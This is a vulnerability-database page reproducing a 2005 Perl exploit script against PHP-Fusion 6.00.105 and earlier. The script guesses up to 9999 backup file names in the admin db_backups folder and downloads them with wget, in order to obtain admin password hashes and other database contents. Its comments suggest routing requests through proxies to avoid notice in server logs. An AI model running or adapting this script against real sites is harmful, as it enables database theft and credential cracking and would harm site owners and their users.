Lucene search
K

PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit

🗓️ 25 Jun 2005 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

PHP-Fusion <= 6.00.105 Database Backup Vulnerabilit

Code

                                                 #!/usr/bin/perl
 ######################################################
 #  D A R K   A S S A S S I N S   C R E W   2 0 0 5   #
 ######################################################
 # Dark Assassins - http://dark-assassins.com/        #
 # Visit us on IRC @ irc.tddirc.net #DarkAssassins    #
 ######################################################
 # phpfusiondb.pl; Version 0.1 22/06/05               #
 # PHP-Fusion db backup proof-of-concept by Easyex    #
 # Database backup vuln in v6.00.105 and below        #
 ######################################################
 # Description: When a db (database) backup is made   #
 # it is saved in /administration/db_backups/ on 6.0  #
 # and on 5.0 it is saved in /fusion_admin/db_backups/#
 # The backup file can be saved in 2 formats: .sql or #
 # .sql.gz and is hidden by a blank index.php file but#
 # can be downloaded client-side, The filename is for #
 # example : backup_2005-06-22_2208.sql.gz so what we #
 # can do is generate 0001 to 9999 and request the    #
 # file and download it. If a db file is found an     #
 # attacker can get the admin hash and crack  it or   #
 # retrieve other sensitive information from the db!  #
 ######################################################

 # 9999 requests to the host is alot, And would get noticed in the server log!
 # If you re-coded your own script with proxy support you would be fine.
 # You need to know the backup year-month-day to be able to find a backup file unless the server is set to automaticlly   
 # backup the php-fusiondatabase.

 my $wget='wget';

 my $count='0';

 my $target;

 if (@ARGV &lt; 4)
{
 print &quot;\n&quot;;
 print &quot;Welcome to the PHP-Fusion db backup vulnerability\n&quot;;
 print &quot;Coded by Easyex from the Dark Assassins crew\n&quot;;
 print &quot;\n&quot;;
 print &quot;Usage: phpfusiondb.pl &lt;host&gt; &lt;version&gt; &lt;file&gt; &lt;extension&gt;\n&quot;;
 print &quot;Example: phpfusiondb.pl example.com 6 backup_2005-06-23_ .sql.gz\n&quot;;
 print &quot;\n&quot;;
 exit();
}

 my $host = $ARGV[0];
 my $ver = $ARGV[1];
 my $file = $ARGV[2];
 my $extension = $ARGV[3];

 if ($ver eq &quot;6&quot;) {
       $dir='/administration/db_backups/'; # Directory path to the 6.X backup folder
 }

 if ($ver eq &quot;5&quot;) {
       $dir='/fusion_admin/db_backups/'; # Directory path to the 5.X backup folder
}

 print &quot;\n&quot;;
 print &quot;Welcome to the PHP-Fusion db backup vulnerability\n&quot;;
 print &quot;Coded by Easyex from the Dark Assassins crew\n&quot;;
 print &quot;\n&quot;;

 print &quot;Host: $host\n&quot;;
 print &quot;Directory: $dir\n&quot;;
 print &quot;File: $file + 0001 to 9999\n&quot;;
 print &quot;Extension: $extension\n&quot;;
 print &quot;\n&quot;;
 print &quot;Attempting to find a db backup file on $host\n&quot;;

 for($count=0;$count&lt;9999;$count++) {

    $target=$host.$dir.$file.sprintf(&quot;%04d&quot;, $count).$extension;

    system(&quot;$wget $target&quot;);
 }

# milw0rm.com [2005-06-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation